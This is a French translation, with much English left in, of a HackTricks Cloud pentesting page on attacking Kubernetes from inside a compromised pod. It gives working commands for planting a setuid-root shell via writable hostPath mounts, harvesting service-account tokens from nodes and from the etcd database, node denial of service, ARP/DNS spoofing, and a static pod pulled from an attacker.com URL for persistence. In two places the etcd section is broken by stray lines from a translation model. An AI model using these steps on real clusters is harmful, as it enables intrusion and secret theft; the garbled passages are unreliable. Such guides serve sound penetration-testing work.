Attaquer Kubernetes depuis l'intérieur d'un Pod
Reading time: 18 minutes
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Pod Breakout
Si vous avez suffisamment de chance, vous pouvez réussir à en sortir vers le node :

S'échapper du pod
Pour tenter de vous échapper des pods, vous devrez peut-être d'abord escalate privileges, voici quelques techniques :
Linux Privilege Escalation - HackTricks
Vous pouvez consulter ces docker breakouts to try to escape pour tenter de sortir d'un pod compromis :
Docker Breakout / Privilege Escalation - HackTricks
Abusing writable hostPath/bind mounts (container -> host root via SUID planting)
If a compromised pod/container has a writable volume that maps directly to the host filesystem (Kubernetes hostPath or Docker bind mount), and you can become root inside the container, you can leverage the mount to create a setuid-root binary on the host and then execute it from the host to pop root.
Key conditions:
- The mounted volume is writable from inside the container (readOnly: false and filesystem permissions allow write).
- The host filesystem backing the mount is not mounted with the nosuid option.
- You have some way to execute the planted binary on the host (for example, separate SSH/RCE on host, a user on the host can execute it, or another vector that runs binaries from that path).
How to identify writable hostPath/bind mounts:
- Avec kubectl, vérifiez les volumes hostPath : kubectl get pod
-o jsonpath='{.spec.volumes[*].hostPath.path}' - Depuis l'intérieur du container, listez les mounts et cherchez les host-path mounts et testez la possibilité d'écriture :
# Inside the compromised container
mount | column -t
cat /proc/self/mountinfo | grep -E 'host-path|kubernetes.io~host-path' || true
findmnt -T / 2>/dev/null | sed -n '1,200p'
# Test if a specific mount path is writable
TEST_DIR=/var/www/html/some-mount # replace with your suspected mount path
[ -d "$TEST_DIR" ] && [ -w "$TEST_DIR" ] && echo "writable: $TEST_DIR"
# Quick practical test
printf "ping\n" > "$TEST_DIR/.w"
Placer un binaire setuid root depuis le container :
# As root inside the container, copy a static shell (or /bin/bash) into the mounted path and set SUID/SGID
MOUNT="/var/www/html/survey" # path inside the container that maps to a host directory
cp /bin/bash "$MOUNT/suidbash"
chmod 6777 "$MOUNT/suidbash"
ls -l "$MOUNT/suidbash"
# -rwsrwsrwx 1 root root 1234376 ... /var/www/html/survey/suidbash
Exécuter sur l'hôte pour obtenir root :
# On the host, locate the mapped path (e.g., from the Pod spec .spec.volumes[].hostPath.path or by prior enumeration)
# Example host path: /opt/limesurvey/suidbash
ls -l /opt/limesurvey/suidbash
/opt/limesurvey/suidbash -p # -p preserves effective UID 0 in bash
Notes and troubleshooting:
- If the host mount has nosuid, setuid bits will be ignored. Check mount options on the host (cat /proc/mounts | grep
) and look for nosuid. - If you cannot get a host execution path, similar writable mounts can be abused to write other persistence/priv-esc artifacts on the host if the mapped directory is security-critical (e.g., add a root SSH key if the mount maps into /root/.ssh, drop a cron/systemd unit if maps into /etc, replace a root-owned binary in PATH that the host will execute, etc.). Feasibility depends entirely on what path is mounted.
- This technique also works with plain Docker bind mounts; in Kubernetes it’s typically a hostPath volume (readOnly: false) or an incorrectly scoped subPath.
Abusing Kubernetes Privileges
Comme expliqué dans la section sur kubernetes enumeration :
En général, les pods s'exécutent avec un service account token à l'intérieur d'eux. Ce service account peut avoir des privilèges qui lui sont attachés que vous pourriez abuser pour vous déplacer vers d'autres pods ou même vous échapper vers les nœuds configurés dans le cluster. Voir comment dans :
Abusing Roles/ClusterRoles in Kubernetes
Abusing Cloud Privileges
Si le pod s'exécute dans un cloud environment vous pourriez être capable de leak a token from the metadata endpoint et d'escalader les privilèges en l'utilisant.
Rechercher des services réseau vulnérables
Comme vous êtes à l'intérieur de l'environnement Kubernetes, si vous ne pouvez pas escalader les privilèges en abusant des privilèges du pod actuel et que vous ne pouvez pas vous échapper du conteneur, vous devriez rechercher des services potentiellement vulnérables.
Services
Pour cela, vous pouvez essayer d'obtenir tous les services de l'environnement kubernetes :
kubectl get svc --all-namespaces
Par défaut, Kubernetes utilise un schéma réseau plat, ce qui signifie que tout pod/service au sein du cluster peut communiquer avec les autres. Les namespaces du cluster n'ont pas de restrictions de sécurité réseau par défaut. Toute personne dans un namespace peut communiquer avec les autres namespaces.
Scanning
Le script Bash suivant (tiré d'un Kubernetes workshop) installera et scannera les plages IP du cluster kubernetes:
sudo apt-get update
sudo apt-get install nmap
nmap-kube ()
{
nmap --open -T4 -A -v -Pn -p 80,443,2379,8080,9090,9100,9093,4001,6782-6784,6443,8443,9099,10250,10255,10256 "${@}"
}
nmap-kube-discover () {
local LOCAL_RANGE=$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,');
local SERVER_RANGES=" ";
SERVER_RANGES+="10.0.0.1 ";
SERVER_RANGES+="10.0.1.* ";
SERVER_RANGES+="10.*.0-1.* ";
nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
}
nmap-kube-discover
Consultez la page suivante pour apprendre comment vous pourriez attaquer des services spécifiques à Kubernetes afin de compromettre d'autres pods / l'ensemble de l'environnement :
Pentesting Kubernetes Services
Sniffing
Si le pod compromis exécute un service sensible pour lequel d'autres pods doivent s'authentifier, vous pourriez être en mesure d'obtenir les identifiants envoyés par les autres pods en sniffing les communications locales.
Network Spoofing
Par défaut, des techniques comme ARP spoofing (et grâce à cela DNS Spoofing) fonctionnent dans le réseau Kubernetes. Ainsi, à l'intérieur d'un pod, si vous disposez de la NET_RAW capability (présente par défaut), vous pourrez envoyer des paquets réseau personnalisés et effectuer des MitM attacks via ARP Spoofing sur tous les pods s'exécutant sur le même node.
De plus, si le pod malveillant tourne sur le même node que le DNS Server, vous pourrez effectuer une DNS Spoofing attack pour tous les pods du cluster.
Node DoS
Il n'y a pas de spécification de ressources dans les manifests Kubernetes ni de limit ranges appliquées pour les containers. En tant qu'attaquant, nous pouvons consommer toutes les ressources là où le pod/deployment s'exécute et priver les autres ressources, provoquant un DoS de l'environnement.
Ceci peut être réalisé avec un outil tel que stress-ng:
stress-ng --vm 2 --vm-bytes 2G --timeout 30s
Vous pouvez voir la différence entre pendant l'exécution de stress-ng et après
kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx
Node Post-Exploitation
If you managed to escape from the container il y a quelques éléments intéressants que vous trouverez sur le nœud :
- Le Container Runtime processus (Docker)
- D'autres pods/containers s'exécutent sur le nœud que vous pouvez abuser comme celui-ci (more tokens)
- Tout le filesystem et l'OS en général
- Le service Kube-Proxy à l'écoute
- Le service Kubelet à l'écoute. Vérifiez les fichiers de configuration :
- Directory:
/var/lib/kubelet/ /var/lib/kubelet/kubeconfig/var/lib/kubelet/kubelet.conf/var/lib/kubelet/config.yaml/var/lib/kubelet/kubeadm-flags.env/etc/kubernetes/kubelet-kubeconfig/etc/kubernetes/admin.conf-->kubectl --kubeconfig /etc/kubernetes/admin.conf get all -n kube-system- Autres fichiers courants Kubernetes :
$HOME/.kube/config- Configuration utilisateur/etc/kubernetes/kubelet.conf- Configuration régulière/etc/kubernetes/bootstrap-kubelet.conf- Configuration bootstrap/etc/kubernetes/manifests/etcd.yaml- Configuration etcd/etc/kubernetes/pki- Clé Kubernetes
Find node kubeconfig
Si vous ne trouvez pas le fichier kubeconfig dans l'un des chemins précédemment indiqués, vérifiez l'argument --kubeconfig du processus kubelet :
ps -ef | grep kubelet
root 1406 1 9 11:55 ? 00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal
Voler des Secrets
# Check Kubelet privileges
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system
# Steal the tokens from the pods running in the node
# The most interesting one is probably the one of kube-system
ALREADY="IinItialVaaluE"
for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do
TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
ALREADY="$ALREADY|$TOKEN"
echo "Directory: $i"
echo "Namespace: $(cat $i)"
echo ""
echo $TOKEN
echo "================================================================================"
echo ""
fi
done
Le script can-they.sh récupérera automatiquement les tokens d'autres pods et vérifiera s'ils ont la permission que vous recherchez (au lieu que vous vérifiiez un par un) :
./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code
Privileged DaemonSets
Un DaemonSet est un pod qui sera exécuté dans tous les nodes du cluster. Donc, si un DaemonSet est configuré avec un privileged service account, sur TOUS les nodes vous allez pouvoir trouver le token de ce privileged service account que vous pourriez abuser.
Pivot to Cloud
Si le cluster est géré par un service cloud, généralement le Node aura un accès différent à l'endpoint metadata que le Pod. Par conséquent, essayez d'accéder à l'endpoint metadata depuis le node (ou depuis un pod avec hostNetwork to True):
Steal etcd
Si vous pouvez spécifier le nodeName du Node qui exécutera le conteneur, ouvrez un shell à l'intérieur d'un control-plane node et récupérez la base de données etcd:
kubectl get nodes
NAME STATUS ROLES AGE VERSION
k8s-control-plane Ready master 93d v1.19.1
k8s-worker Ready <none> 93d v1.19.1
Les control-plane nodes ont le role master et dans les cloud managed clusters vous ne pourrez rien y exécuter.
Lire secrets depuis etcd 1
If you can run your pod on a control-plane node using the nodeName selector in the pod spec, you might have easy access to the etcd database, which contains all of the configuration for the cluster, including all secrets.
Below is a quick and dirty way to grab secrets from etcd if it is running on the control-plane node you are on. If you want a more elegant solution that spins up a pod with the etcd client utility etcdctl and uses the control-plane node's credentials to connect to etcd wherever it is running, check out this example manifest from @mauilion.
Vérifiez si etcd tourne sur le control-plane node et où se situe la base de données (Ceci est sur un cluster créé avec kubeadm)
root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir
Je n’ai pas reçu le contenu à traduire. Merci de coller le texte du fichier src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md ou de fournir le passage à traduire.
data-dir=/var/lib/etcd
Afficher les données dans la base de données etcd:
strings /var/lib/etcd/member/snap/db | less
Extraire les tokens de la base de données et afficher le service account name
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done
Même commande, mais quelques greps pour ne renvoyer que le token default dans le namespace kube-system
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
Je n’ai pas accès au fichier src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md. Veuillez coller ici le contenu à traduire et je le traduirai en français en respectant les consignes.
1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]
Lire les secrets depuis etcd 2 from here
- Créez un snapshot de la base de données
etcd. Consultez this script pour plus d'informations. - Transférez le snapshot
etcdhors du nœud par la méthode de votre choix. - Décompressez la base de données:
mkdir -p restore ; etcdutl snapshot restore etcd-loot-backup.db \ --data-dir ./restore
- Démarrez
etcdsur votre machine locale et configurez-le pour utiliser le snapshot volé :
etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./etcd-loot-backup.db'
- Lister tous les secrets :
etcdctl get "" --prefix --keys-only | grep secret
- Récupérer les secfrets:
etcdctl get /registry/secrets/default/my-secret
Static/Mirrored Pods Persistence
Static Pods sont gérés directement par le daemon kubelet sur un nœud spécifique, sans que le Kubernetes API server ne les observe. Contrairement aux Pods qui sont gérés par le control plane (par exemple, un Deployment) ; le kubelet watches each static Pod (et le redémarre s'il échoue).
Par conséquent, static Pods sont toujours bound to one Kubelet sur un nœud spécifique.
Le kubelet automatically tries to create a mirror Pod on the Kubernetes API server pour chaque static Pod. Cela signifie que les Pods en cours d'exécution sur un nœud sont visibles sur l'API server, mais ne peuvent pas être contrôlés depuis là. Les noms des Pod seront suffixés avec le hostname du nœud, précédé d'un tiret.
caution
Le spec of a static Pod cannot refer to other API objects (e.g., ServiceAccount, ConfigMap, Secret, etc. So you cannot abuse this behaviour to launch a pod with an arbitrary serviceAccount in the current node to compromise the cluster. But you could use this to run pods in different namespaces (in case thats useful for some reason).
Si vous êtes sur l'hôte du nœud, vous pouvez lui faire créer un static pod inside itself. C'est très utile car cela peut vous permettre de create a pod in a different namespace comme kube-system.
Pour créer un static pod, les docs are a great help. Vous aurez essentiellement besoin de 2 choses :
- Configurez le param
--pod-manifest-path=/etc/kubernetes/manifestsdans le kubelet service, ou dans la kubelet config (staticPodPath) et redémarrez le service - Créez la définition du pod dans
/etc/kubernetes/manifests
Another more stealth way would be to:
- Modifiez le param
staticPodURLdans le fichier de config du kubelet et mettez quelque chose commestaticPodURL: http://attacker.com:8765/pod.yaml. Cela fera que le processus kubelet créera un static pod en récupérant la configuration from the indicated URL.
Example of pod configuration to create a privilege pod in kube-system taken from here:
apiVersion: v1
kind: Pod
metadata:
name: bad-priv2
namespace: kube-system
spec:
containers:
- name: bad
hostPID: true
image: gcr.io/shmoocon-talk-hacking/brick
stdin: true
tty: true
imagePullPolicy: IfNotPresent
volumeMounts:
- mountPath: /chroot
name: host
securityContext:
privileged: true
volumes:
- name: host
hostPath:
path: /
type: Directory
Supprimer des pods + unschedulable nodes
Si un attaquant a compromis un node et qu'il peut supprimer des pods depuis d'autres nodes et empêcher d'autres nodes d'exécuter des pods, les pods seront relancés sur le node compromis et il pourra voler les tokens exécutés dedans.
Pour plus d'infos, suivez ce lien.
Outils automatiques
Peirates v1.1.8-beta by InGuardians
https://www.inguardians.com/peirates
----------------------------------------------------------------
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
[+] Certificate Authority Certificate: true
[+] Kubernetes API Server: https://10.116.0.1:443
[+] Current hostname/pod name: dashboard-56755cd6c9-n8zt9
[+] Current namespace: prd
----------------------------------------------------------------
Namespaces, Service Accounts and Roles |
---------------------------------------+
[1] List, maintain, or switch service account contexts [sa-menu] (try: listsa *, switchsa)
[2] List and/or change namespaces [ns-menu] (try: listns, switchns)
[3] Get list of pods in current namespace [list-pods]
[4] Get complete info on all pods (json) [dump-pod-info]
[5] Check all pods for volume mounts [find-volume-mounts]
[6] Enter AWS IAM credentials manually [enter-aws-credentials]
[7] Attempt to Assume a Different AWS Role [aws-assume-role]
[8] Deactivate assumed AWS role [aws-empty-assumed-role]
[9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu]
-------------------------+
Steal Service Accounts |
-------------------------+
[10] List secrets in this namespace from API server [list-secrets]
[11] Get a service account token from a secret [secret-to-sa]
[12] Request IAM credentials from AWS Metadata API [get-aws-token] *
[13] Request IAM credentials from GCP Metadata API [get-gcp-token] *
[14] Request kube-env from GCP Metadata API [attack-kube-env-gcp]
[15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloudonly) [attack-kops-gcs-1] *
[16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1]
--------------------------------+
Interrogate/Abuse Cloud API's |
--------------------------------+
[17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls]
[18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects]
-----------+
Compromise |
-----------+
[20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount]
[21] Run command in one or all pods in this namespace via the API Server [exec-via-api]
[22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet]
-------------+
Node Attacks |
-------------+
[30] Steal secrets from the node filesystem [nodefs-steal-secrets]
-----------------+
Off-Menu +
-----------------+
[90] Run a kubectl command using the current authorization context [kubectl [arguments]]
[] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all [arguments]]
[91] Make an HTTP request (GET or POST) to a user-specified URL [curl]
[92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i]
[93] Run a simple all-ports TCP port scan against an IP address [tcpscan]
[94] Enumerate services via DNS [enumerate-dns] *
[] Run a shell command [shell <command and arguments>]
[exit] Exit Peirates
Références
- Forgotten (HTB) - Writable bind mount SUID planting
- Kubernetes hostPath volume
- Docker bind mounts
- Bash -p (preserve privileges)
- mount(8) nosuid option
- Peirates (Kubernetes attack tool)
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks Cloud